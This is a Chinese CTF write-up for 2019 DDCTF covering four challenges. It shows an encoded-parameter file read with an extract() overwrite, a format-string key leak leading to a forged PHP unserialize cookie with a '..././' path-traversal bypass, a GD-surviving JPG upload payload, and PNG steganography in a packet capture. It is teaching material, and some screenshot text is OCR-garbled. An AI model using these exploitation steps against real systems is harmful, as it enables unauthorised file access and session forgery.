2019DDCTF 部分Writeup



2019DDCTF 部分Writeup

太菜了,就只做了四道题,而且其中不乏大佬们的提示,这里就记录下做了的题...

Web

滴~

题目地址: http://117.51.150.246

打开后题目跳转到这个地址:http://117.51.150.246/index.php?jpg=TmpZMIF6WXhOamN5UIRaQk56QTJOdz09

界面显示如下图:

← → C 合 ① 不安全 | 117.51.150.246/index.php?jpg=TmpZMIF6WXhOamN5UIRaQk56QTJOdz09



然后看传入的jpg的值是base64编码,于是拿去解密,随便找个在线base64解密的就行, TmpZM1F6WXhOamN5U1RaQk56QTJOdz09 这个解出来是 NjY2QzYxNjcyRTZBNzA2Nw==,发现还是base64,于是继续解,解出来是 666C61672E6A7067,是十六进制,于 是拿去转ascii字符串,解出来是 flag.jpg,正好与界面显示的一样,于是就猜测要传入这样加密的值才能被它解析,F12查看 元素属性也能看到还返回了base64加密后的内容,然后写个加密脚本查看 index.php 的内容:

<?php

echo base64_encode(base64_encode(bin2hex("index.php")));

解出来是 TmprM1pUWTBOa1UzTORKbE56QTJPRGN3 然后在传给jpg,这里我们用burpsuite来抓包查看:

| Request | Response |
|--|--|
| Raw Params Headers Hex | Raw Headers Hex HTML Render |
| GET /index.php?jpg=TmprMlpUWTBOalUzTORKbE56QTJPRGN3 HTTP/1.1
Host: 117.51.150.246
Pragma: no-cache
Cache-Control: no-cache | HTTP/1.1 200 OK
Date: Tue, 16 Apr 2019 11:37:43 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.26
X-Powered-By: PHP/5.4.26
int-Length: 1051 |
| Converted text | X ection: close
ent-Type: text/html;charset=utf-8 |
| <pre>Copy to clipboard </pre> <pre> <td><pre>nt=Type: text/ntmrponesse=ut=0 te>Tmp:tHlpUMTB0alUzT0RKbE560TJRCM3</pre> te>Tmp:tHlpUMTB0alUzT0RKbE560TJRCM3</td></pre> te>Tmp:tHlpUMTB0alUzT0RKbE560TJRCM3 te>Tmp:tHlpUMTB0alUzT0RKbE560TJRCM3 te>textpace textpace te | <pre>nt=Type: text/ntmrponesse=ut=0 te>Tmp:tHlpUMTB0alUzT0RKbE560TJRCM3</pre> te>Tmp:tHlpUMTB0alUzT0RKbE560TJRCM3 |
| | |

然后就得到了 index.php 的源码:

?>

```
<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
   header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$ GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
*/
```

发现给了个博客,于是点进去看了看也没发现有什么思路...后来有大佬提示了下说是看这个大佬的7月4日的博客,于是就知道 了 .swp 这个临时备份文件,而在这篇博客中提到的是 practice.txt.swp 这个文件,于是用上面的加密方法把它加密后传给 jpg:

Request	Response				
Raw Params Headers Hex	Raw Headers Hex HTML Render				
GET	HTTP/1.1 200 OK				
/index.php?jpg=TnpBMOlqWXhOak0zTkRZNU5qTTJOVEpsTnpRM09EYzBNbVUzT	Date: Tue, 16 Apr 2019 11:55:14 GMT				
XpjM056QX1NQT09 HTTP/1.1	Server: Apache/2.4.7 (Unix) PHP/5.4.26				
Host: 117.51.150.246	X-Powered-By: PHP/5.4.26				
Pragma: no-cache	Content-Length: 181				
Cache-Control: no-cache	Connection: close				
Upgrade-Insecure-Requests: 1	Content-Type: text/html;charset=utf-8				
<pre>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp ,image/apng,*/*;q=0.B,application/signed-exchange;v=b3 Accept=Fnooding: gsip. deflate</pre>	<titl=>TnpBM01dWXh0ak0zTkRZNU5qTTJOVEpsTnpRM09EYzBNbVUzTXpjM056QX1NQT09</titl=> pr actice.txt.swppractice.txt.swp </img 				
Accept-Language: zh-CN, zh;q=0.9 Connection: close	×				
Copy to clipboard flag!ddctf.php	Close				

然后这里就返回了一个 flag!ddctf.php 文件,于是拿它加密后传给jpg,发现并没回显什么东西,然后回过头去看 index.php 的源码发现下面这段要进行过滤:

<pre>\$file = preg_replace("/[^a-zA-Z0-9.]+/","",</pre>	<pre>\$file);</pre>
echo <mark>\$file</mark> .'';	
<pre>\$file = str_replace("config","!", \$file);</pre>	
<pre>echo \$file.'';</pre>	

第一段正则表示匹配一个或多个除了 a-zA-ZO-9. 之外所有的字符, 就这样 f1ag!ddctf.php 中的 ! 就被替换成空了, 然后第 二次替换则是将 config 替换成 ! ,于是写成 f1agconfigddctf.php 这样就可以绕过, 然后将它加密后上传:

Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
GET	HTTP/1.1 200 OK
/index.php?ipg=TmpZeklUWXhOamMyTXpabU5tVTJOalklTmpiMk5EWTBOak0zT	Date: Tue, 16 Apr 2019 12:11:39 GMT
kRZMKitVINNRFKOTnpBeU1BPTO= HTTP/1.1	Server: Apache/2.4.7 (Unix) PHP/5.4.26
Host: 117.51.150.246	X-Powered-By: PHP/5.4.26
Pracma: no-cache	Content-Length: 458
Cache-Control: no-cache	Connection: close
Upgrade-Insecure-Requests: 1	Content-Type: text/html;charset=utf-8
User-Ad	5/2
Appleve Converted text	>TmpZek1UWXh0amMvTXpabU5tVTJ0alk1TmpiMk5EWTB0ak0zTkRZMk1tVTNNRFk0TnpBeU1BPT
Safari	tle>flagconfigddctf.phpflag'ddctf.php
Accept:	ata: image/gif:base64.PD9waHANCmluY2x1ZGUoJ2NvbmZpZv5waHAnKTsNCiRrID0gJ2hlbG
text/ht	CmV4dHJhY30oJF9HRV0p0w0KaWYoaXNzZX0oJHVpZCkpD0p7D0ogICAgJGNvpnRlbn09dHJpbSh
, image Copy to clipboard	Close 2d1dF9jb250ZW50cvgkavkp0w0KICAgIG1mKCR1aW09PSRjb250ZW50K00KCXsNCgkJZWNobvAk
Accept-	sNCq19D0oJZWxzZ00KCXsNCqkJZWNobydoZWxsbyc7D0oJf00Kf00KD0o/Pq=='>
Accept- php</td <td></td>	
Connect include ('config.php');	
k = 'hello';	
extract(\$ GET);	
if(isset(\$uid))	
<pre>\$content=trim(file get contents(\$k));</pre>	
if(\$uid==\$content)	
(
echo \$flag;	
else	
(
echo'hello';	
)	
}	
2>	
	T
2 C + S Type a search term 0 m	atches
	active

解密后发现又得到一段php代码:

```
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
 {
 echo $flag;
 }
 else
 {
 echo'hello';
 }
}
?>
```

这就是一道php中 extract() 变量覆盖函数的绕过的题了,这个题感觉在bugku还是其他什么地方做过,两个参数都置空就能绕过了,这样就拿到flag了:



WEB 签到题

题目地址: http://117.51.158.44/index.php

打开页面提示说:"抱歉,您没有登陆权限,请获取权限后访问-----",于是用burpsuite来抓包,抓到一个post包:

Request to http://117.51.158.44:80
Forward Drop Intercept is on Action
Raw Headers Hex
POST /app/Auth.php HTTP/1.1
Host: 117.51.158.44
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://117.51.158.44
didictf username:
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: application/json;charset=utf-8
Referer: http://117.51.158.44/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9
Cookie:
Connection: close

Request

Raw Headers Hex
 Raw
 Headers
 Hex

 POST /app/Auth.php HTTP/1.1

 Host: 117.51.158.44

 Content-Length: 0

 Pragma: no-cache

 Cache-Control: no-cache

 Accept: application/json, text/javascript, */*; q=0.01

 Origin: http://117.51.158.44

 didictf_username: admin

 X-Requested=With: XMLHttpRequest

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

 (KHTML, like Gecko) Chrome/73.0.3603.103 Safari/537.36

 Content-Type: application/json;charset=utf-8

 Referer: http://117.51.158.44/index.php

 Accept-Encoding: gzip, deflate

 Accept-Language: zh-CN, zh; q=0.9

 Cookie:

 Connection: close

Response

.

Raw Headers Hex HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Tue, 16 Apr 2019 13:12:48 GMT Content-Type: application/json Connection: close Content-Length: 140

("errHsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4 e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID210Cdh.php")

返回了一个地址路径 app/fL2XID2i0Cdh.php ,访问看看,发现是两个php源码:

```
Class Application {
   var $path = '';
    public function response($data, $errMsg = 'success') {
       $ret = ['errMsg' => $errMsg,
           'data' => $data];
       $ret = json_encode($ret);
       header('Content-type: application/json');
       echo $ret;
    }
    public function auth() {
       $DIDICTF ADMIN = 'admin';
       if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
           $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
           return TRUE;
       }else{
           $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
           exit();
       }
    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}
public function __destruct() {
   if(empty($this->path)) {
       exit();
   }else{
       $path = $this->sanitizepath($this->path);
       if(strlen($path) !== 18) {
           exit();
       }
       $this->response($data=file get contents($path), 'Congratulations');
    }
   exit();
}
```

```
url:app/Session.php
```

```
include 'Application.php';
class Session extends Application {
```

```
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_density = '';
```

```
var $cookie_domain = ;
   var $cookie_secure = FALSE;
                                    = "DiDiCTF";
    var $activity
    public function index()
    {
 if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data, 'sucess');
            }else{
               $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data, 'sucess');
            }
        }
    }
    private function get_key() {
       //eancrykey and flag under the folder
        $this->eancrykey = file_get_contents('../config/key.txt');
    }
    public function session_read() {
       if(empty($_COOKIE)) {
        return FALSE;
        }
        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);
        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);
       if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($se
ssion['user_agent'])){
            return FALSE;
        }
       if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach (\$arr as \$k \Rightarrow \$v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
```

```
if($session['ip address'] != $ SERVER['REMOTE ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;
    }
    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {</pre>
            $sessionid .= mt_rand(0,mt_getrandmax());
        }
        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );
        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie secure
            );
    }
$ddctf = new Session();
$ddctf->index();
```

```
代码审计,发现了一段这个代码:
```

}

```
private function get_key() {
    //eancrykey and flag under the folder
    $this->eancrykey = file_get_contents('../config/key.txt');
}
```

直接访问 config 目录发现需要登录,题果然不会这么简单...

```
然后我们访问下 app/Session.php:
```



它给我们设定了cookie的值,还返回了 DiDI Welcome you %s ,说明 \$this->session_read() 为True,然后我们再看看 session_read() 函数,发现里面有段代码:

```
if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}
```

发现这段代码可以得到 \$eancrykey , 但在这个 foreach 循环里, 要在第二次的时候让 sprintf 格式化 \$this->eancrykey 才 能将其打印出来,如果传入的 nickname 为其他字符串,则在第一次 sprintf 就将其格式化了,这样在第二次 sprintf 的时候 就没有作用了,所以我们应该传入 %s 绕过第一次格式化字符串使第二次格式化也有效,于是我们提交一个 nickname=%s 的 post请求,但我这里出现一个问题就是用burpsuite提交post请求并没有什么回显,不知道是什么问题,后来我就用postman来提 交post请求就有回显(也可以用hackbar试试):

http://117.51.158.44/app/Session.php Send POST http://117.51.158.44/app/Session.php Send Params Authorization Headers (2) Body Pre-request Script Tests Cookies Code Image:	Save
POST http://117.51.158.44/app/Session.php Send Send arams Authorization Headers (2) Body Pre-request Script Tests Cookies Code none form-data x-www-form-urlencoded raw binary	Save
arams Authorization Headers (2) Body ● Pre-request Script Tests Cookies Code ● none ● form-data ● x-www-form-urlencoded ● raw ● binary	
none 🖲 form-data 🔍 x-www-form-urlencoded 🔍 raw 🔍 binary	
KEY VALUE DESCRIPTION •	•• Bulk
vickname %s	
Key Value Description	
dy Cookies (1) Headers (5) Test Results Status: 200 OK Time: 179 ms Size: 434 B	Downlo
Pretty Raw Preview JSON 🔻 🚍	

这样就得到 \$eancrykey 了...

回过头再去看 Application.php 的代码:

```
private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
   $path=str_replace('..\\','',$path);
   return $path;
}
public function __destruct() {
   if(empty($this->path)) {
       exit();
   }else{
       $path = $this->sanitizepath($this->path);
       if(strlen($path) !== 18) {
            exit();
       }
       $this->response($data=file_get_contents($path), 'Congratulations');
    }
    exit();
```

这里我们看到最后的析构函数可以读取文件内容,那么这里就可以读取flag文件了,而上面提示说flag应该就在这个路径 ../config/flag.txt,而这个路径要传到最后一步还需要经过 sanitizepath 函数,这里比较好绕过,这样写 ..././config/flag.txt 就可以绕过了,于是我们需要创建一个cookie将path传进去。

接下来我们看 Session.php 的一段代码:

```
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
```

这段代码就是生成cookie的,先将数据序列化在进行md5加盐加密,这样最后就生成了cookie,所以我们要生成一个带路径的 cookie传进去,于是写出下面的脚本:

```
<?php
include 'Application.php';

$eancrykey = 'EzblrbNS';

$aa = new Application();
$aa->path = '..././config/flag.txt';
//print_r(serialize($aa));

$cookiedata = serialize($aa);
```

```
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);
```

```
print_r(urlencode($cookiedata));
```

运行得到经过url加密的cookie:

0%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014d be49334e6dbb7326046950bee2

最后上传进去就能得到flag了:

Request

Raw Params Headers Hex POST /app/Session.php HTTP/1.1 Host: 117.51.158.44 Content-Length: 0 Server: nginx/1.10.3 (Ubuntu) Date: Wed, 17 Apr 2019 14:46:09 GMT Content-Type: application/json Connection: close Accept: application/json, text/javascript, */*; q=0.01 Origin: http://117.51.158.44 didictf_username: admin X-Requested-With: XMLHttpRequest A negacity in interprepared Vielandows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Satal/JJ/J/S/ Content-Type: application/json;charset=utf=8 Referer: http://117.51.158.44/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookies ddctf_id=0+3A11+3A+22Application+22+3A1+3A+7Bs+3A4+3A+22path+22+ 3Bs+3A21+3A+22...+2F.+2Fconfig*2Fflag.txt+22+3B+7D5a014dbe49334e Connection: close

Raw Headers Hex HTTP/1.1 200 OF

Response

Content-Length: 220 {"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba 1/u7406/u5458----/u8bf7/u8bbf/u95e:app/fL2XID2iDCdh.php")("errMsg":"Congratulat ions","data":"DDCTF(ddctf2019_G4uqwj6E_pHV1HIDDGdV8qA2j)")

Upload-IMG

题目地址: http://117.51.148.166/upload.php user: dd@ctf pass: DD@ctf#000

登录进去发现是上传图片的题目,于是随便上传一张图片试试:

① 不安全 | 117.51.148.166/upload.php?type=upload $\leftarrow \rightarrow C \land$



[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()

它的提示是:"上传的图片源代码中未包含指定字符串:phpinfo()",于是想着用winhex在图片中插入 phpinfo() 字符串,发现它 又返回:"请上传JPG/GIF/PNG格式的图片文件",可能意思是它检测到里面有 phpinfo(),于是被认为是php格式的文件了,这 就很迷了,那说明这样插入字符串能被识别就并不能绕过,后来还将 phpinfo() 换着位置插入试了下,发现还能把网站上传崩 了,不知道是什么情况...后面有大佬提示了下图片渲染,然后去搜了搜,发现了一篇文章:

upload-labs之pass 16详细分析

看了下,直接拿里面的 jpg_payload.php 脚本来用,先上传一张jpg图,然后把它返回的图下载下来,再用这个脚本处理这张 图,然后会生成 payload_x.jpg, 再将这张经过脚本渲染的图上传上去,如果 [Check Error],那么又把返回的图下载下来, 再用脚本渲染后又上传,重复几次,直到flag出现:



这道题我用web第一题的flag.jpg渲染了7次才出flag,但这个也要看原图是什么,有些图渲染几次也就出来了,这图有点迷...



MISC

Wireshark

简单的流量分析

一般拿到流量分析题都是先看http:

ht	tp				
No.	Time	Source	Destination	Protocol	Length Info
	125 3.326459	172.25.52.32	110.18.246.11	HTTP	156 GET /aideddesign/img_add_info HTTP/1.1
	166 3.369559	110.18.246.11	172.25.52.32	HTTP	913 HTTP/1.1 200 OK (text/html)
	415 9.974641	172.25.52.32	58.218.211.182	HTTP	449 OPTIONS / HTTP/1.1
	417 10.029968	58.218.211.182	172.25.52.32	HTTP	455 HTTP/1.1 200 OK (text/json)
->	594 10.461510	172.25.52.32	58.218.211.182	HTTP	884 POST / HTTP/1.1 (PNG)
-	627 10.854758	58.218.211.182	172.25.52.32	HTTP	658 HTTP/1.1 200 OK (json)
	672 11.952050	172.25.52.32	124.165.219.105	HTTP	891 GET /3070cc91f3825652 HTTP/1.1
	682 12.103946	124.165.219.105	172.25.52.32	HTTP	1149 HTTP/1.1 200 OK (text/html)
	686 12.119228	172.25.52.32	59.53.95.185	HTTP	464 GET /674874/100fbf895a071b61s.png HTTP/1.1
	708 12.227373	172.25.52.32	124.165.219.105	HTTP	901 POST /?c=User&a=getmessnum HTTP/1.1
	716 12.319898	124.165.219.105	172.25.52.32	HTTP	74 HTTP/1.1 200 OK (text/html)
	797 14.392289	172.25.52.32	124.165.219.105	HTTP	891 GET /upload HTTP/1.1
	831 14.480224	124.165.219.105	172.25.52.32	HTTP	268 HTTP/1.1 200 OK (text/html)
	874 15.898477	172.25.52.32	124.165.219.105	HTTP	891 POST /?c=User&a=getmessnum HTTP/1.1
	883 15.980001	124.165.219.105	172.25.52.32	HTTP	74 HTTP/1.1 200 OK (text/html)
	1054 20.850856	172.25.52.32	58.218.211.182	HTTP	449 OPTIONS / HTTP/1.1
	1057 20.914917	58.218.211.182	172.25.52.32	HTTP	455 HTTP/1.1 200 OK (text/json)
	3185 24.196330	172.25.52.32	58.218.211.182	HTTP	1210 POST / HTTP/1.1
	3337 25.592181	58.218.211.182	172.25.52.32	HTTP	656 HTTP/1.1 200 OK (json)
	3402 26.632728	172.25.52.32	124.165.219.105	HTTP	891 GET /efe029a825f18c6f HTTP/1.1
	3410 26.758209	124.165.219.105	172.25.52.32	HTTP	731 HTTP/1.1 200 OK (text/html)
	3437 26.883031	172.25.52.32	59.53.95.185	HTTP	464 GET /674874/98ec4640f71d0912s.png HTTP/1.1
	3443 26,932094	172.25.52.32	124.165.219.105	HTTP	901 POST /?c=User&a=getmessnum HTTP/1.1
	3453 27.039167	124.165.219.105	172.25.52.32	HTTP	74 HTTP/1.1 200 OK (text/html)

我们能看到有PNG图片,于是找到图片开始的位置:

	41/ 10:020000	20121012111105	112,23,32,32		400 IN (LEAL)					
	594 10.461510	172.25.52.32	58,218,211,182	HTTP	884 POST / HTTP/1.1 (PNG)					
	627 10.854758	58.218.211.182	172.25.52.32	HTTP	658 HTTP/1.1 200 OK (json)					
	672 11.952050	172.25.52.32	124.165.219.105	HTTP	891 GET /3070cc91f3825652 H					
	682 12.103946	124.165.219.105	172.25.52.32	HTTP	1149 HTTP/1.1 200 OK (text/					
	686 12.119228	172.25.52.32	59.53.95.185	HTTP	464 GET /674874/100fbf895a0					
	708 12.227373	172.25.52.32	124.165.219.105	HTTP	901 POST /?c=User&a=getmess					
	716 12.319898	124.165.219.105	172.25.52.32	HTTP	74 HTTP/1.1 200 OK (text/					
	797 14.392289	172.25.52.32	124.165.219.105	HTTP	891 GET /upload HTTP/1.1					
	831 14.480224	124.165.219.105	172.25.52.32	HTTP	268 HTTP/1.1 200 OK (text/					
	874 15.898477	172.25.52.32	124.165.219.105	HTTP	891 POST /?c=User&a=getmess					
	883 15.980001	124.165.219.105	172.25.52.32	HTTP	74 HTTP/1.1 200 OK (text/					
	1054 20.850856	172.25.52.32	58.218.211.182	HTTP	449 OPTIONS / HTTP/1.1					
	1057 20.914917	58.218.211.182	172.25.52.32	HTTP	455 HTTP/1.1 200 OK (text/					
<pre>Boundary: \r\nWebKitFormBoundaryrrCm5ZaC4cDRaYuG\r\n Encapsulated multipart part: Boundary: \r\nWebKitFormBoundaryrrCm5ZaC4cDRaYuG\r\n Content-Disposition: form-data; name="file"; filename="upload.png"\r\n Encapsulated.ppg"\r\n</pre>										
	> Portable Netw	ork Graphics								

将它导出,就得到一张钥匙的图片(这图刚开始用某照片查看器打开显示图片出错了,后面用画图直接就能打开了,windows自带的照片也能打开,画图感觉还不错):

•	
1.png	

看这图片的高度有点低,而且这钥匙还向下指着,于是想着用winhex改下图片高度:

.png														1.00			
Offset	0	1	2	3	4	5	6	7	8	9	A	В	C	D	E	F	ANSI ASCII
00000000	89	50	4E	47	0D	0A	1A	0A	00	00	00	0D	49	48	44	52	%PNG IHDR
0000010	00	00	06	40	00	00	03	20	08	06	00	00	00	7B	CO	AE	0 {À®
0000020	5A	00	00	0C	14	69	43	43	50	49	43	43	20	50	72	6F	Z iCCPICC Pro
0000030	66	69	6C	65	00	00	48	89	95	57	07	58	53	C9	16	9E	file H‰•W XSÉ ž
0000040	5B	52	08	09	2D	10	01	29	A1	37	41	8A	74	E9	BD	08	[R -);7AŠté%
0000050	48	07	1B	21	09	49	28	11	12	82	8A	1D	59	54	70	2D	Н ! I (,Š YTp-
0000060	A8	58	в0	A2	AB	20	0A	AE	05	90	в5	62	57	16	C1	DE	¨X°¢« © μbW ÁÞ
0000070	1F	88	A8	AC	AC	8B	05	2C	A8	BC	49	01	5D	5F	FB	DE	^~~~~ , "4I]_ûÞ
0800000	F9	BE	В9	F3	E7	CC	39	67	FE	33	F7	DC	C9	0C	00	AA	ù¾¹óçÌ9gþ3÷ÜÉ ª
00000090	F6	AC	DC	DC	6C	54	0D	80	1C	61	BE	28	36	C4	9F	99	ö-ÜÜlT € a¾(6ÄŸ™

这个地方就是改图片高度的位置,前面四个字节是图片的长度,将图片高度改高后保存打开:



key:xS8niJM7

就得到了key: xS8niJM7

得到key了但没密文呀,说明该找密文来解了,于是回去继续看流量包,从第一个HTTP包开始追踪TCP流:

ht	tp				
No.	Time	Source	Destination	Protocol Length Info	
->	125 3.326459	172.25.52.32	110.18.246.11	UTTO 156 CET /aideddocian/img_add_inf	O HTTP/1.1
-	166 3.369559	110.18.246.11	172.25.52.32	标记/取消标记分组(M) Ctrl+M (text/html)	
-22	415 9.974641	172.25.52.32	58.218.211.182	忽略/取消忽略 分组(I) Ctrl+D .1	
	417 10.029968	58.218.211.182	172.25.52.32	设置/取消设置 时间参考 Ctrl+1 (text/json)	
	594 10.461510	172.25.52.32	58.218.211.182	时间平移 Ctrl+Shift+I (PNG)	
	627 10.854758	58.218.211.182	172.25.52.32	分组注释 Ctrl+Alt+C (json)	
	672 11.952050	172.25.52.32	124.165.219.105	编辑解析的名称 25652 HTTP/1	.1
	682 12.103946	124.165.219.105	172.25.52.32	作为过滤器应田 , (text/html)	
	686 12.119228	172.25.52.32	59.53.95.185	准备讨滤器 bf895a071b61	ls.png HTTP/1.1
	708 12.227373	172.25.52.32	124.165.219.105	对话过滤器 , getmessnum H	HTTP/1.1
	716 12.319898	124.165.219.105	172.25.52.32	对话着色 (text/html)	
	797 14.392289	172.25.52.32	124.165.219.105	SCTP , /1.1	
	831 14.480224	124.165.219.105	172.25.52.32		Ctrl+Δlt+Shift+T
	874 15.898477	172.25.52.32	124.165.219.105		Ctrl+Alt+Shift+U
	883 15.980001	124.165.219.105	172.25.52.32		$Ctrl + \Delta lt + Shift + S$
	1054 20.850856	172.25.52.32	58.218.211.182		Ctrl+Alt+Shift+H
	1057 20.914917	58.218.211.182	172.25.52.32	解码为(A)	
	3185 24.196330	172.25.52.32	58.218.211.182	在新窗口显示分组(W)	
	3337 25.592181	58.218.211.182	172.25.52.32	HTTP 656 HTTP/1.1 200 OK (json)	

🥖 Wireshark · 追踪 TCP 流 (tcp.stream eq 1) · wireshark.pcapng

GET /aideddesign/img_add_info HTTP/1.1
Host: tools.jb51.net
User-Agent: curl/7.54.0
Accept: */*

然后看到了第一个get请求了一个网站: tools.jb51.net/aideddesign/img_add_info

打开发现是一个在线图片加密解密工具,那么这道题可能是一道图片解密题,于是继续往下翻,找找还有没有图片,翻到第五个的时候发现有张图片,但这张图片就是刚刚提取的那张钥匙图,于是接着翻...翻到第十三个流的时候发现了一张图片:

▲ Wireshark · 追踪 TCP 流 (tcp.stream eq 13) · wireshark.pcapng	- 🗆	×
		^
interesting		
webKltFormBoundarysonaddrvXgUKBF9		
concent-bisposition: form-data; name= type		
application/octet-stream		
WebKitFormBoundary6YndUqrVxGURBFF9		
Content-Disposition: form-data; name="lastModifiedDate"		
2019/1/174:10:49		
WebKitFormBoundarv6YndUgrVxGURBFF9		
Content-Disposition: form-data: name="size"		
1687470		
WebKitFormBoundary6YndUqrVxGURBFF9		
Content-Disposition: form-data; name="file"; filename="interesting"		
Content-Type: application/octet-stream		
PNG		
IHDRSCIDATX^\.w.e.]9 TU'.Z.[B\$!.H0f.g.{.5.{.CX`9Hj.VR.T]]9z	90>^{	
5.W/.{.>{.~.;@"6y		
.i34Z6.K5@.l.7cD8].N.G.L.8>.Z.E.T. J}\.41. ".J.{!.FI.l.8&.#T.,".I.{f.jy4;m .lc.		
8P"F.b:K>i1		
. >lD11.w.V.Lmk'Zko.1wh		
N=N.4ru".bFG.yc&.b0'f:\$v@		
Z48t		c
. j 2. JD jE. J ?0	••	
4].@.wux3.088H2].vvr.0ttv@(/t1.]"."t.NS]>skx(.n0]		
4. y_1, \dots, y_{n-1} (j.e., rip.4. Nn. e., p		
5 6 i F I = 1 = 5 5 # 8 e apr = 2 YY = 2 a Orb = 1 H i A M i G I / I		
3. w. <1. 103 %1 b8 % V. 1 1. 19		
	G}.	
1n^\B:nB:nM^.YZP}N.=.Xi.d.A~bOE*.A.;(Bah.nG		
.=fh64Bt.=.L"Oqt .2; <y~.g!upy?y .[.j.1x`.4n{*\.0.p50< td=""><td>s.bk+.~.</td><td></td></y~.g!upy?y .[.j.1x`.4n{*\.0.p50<>	s.bk+.~.	
1925 EP # 4 # 1 8 2 # 4 # 1 super[-]		
Entire conversation (1689 kB)	流	13 🖨
查找·	查找下-	-个(N)
		1 (11)
· 滤掉此流 打印 Save as… 返回 Clo	se He	elp .

将它以原始数据的形式保存下来,然后把其余的内容用记事本或者winhex删了就得到一张新的图片了:



5.prių

于是拿到刚才得到的解密网站上去解密,然后就得到了一串16进制字符串格式的flag:

二、解密带隐藏信息的图片

	1. 从电脑中选择一张带有隐藏信息的图片: 选择文件 3.png						
	2. 输入需要解开信息的密码 (如果没有密码可以不填) : •••••••						
	解密出隐藏的信息						
	图片中隐藏的信息为:flag+AHs- 44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-						
拿去解密就得到最后的flag了:							
100	4444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D						

编	副码	解码

DDCTF{NbuiBUIR5Ihww2OfpEmueZd64OIRJ1D2}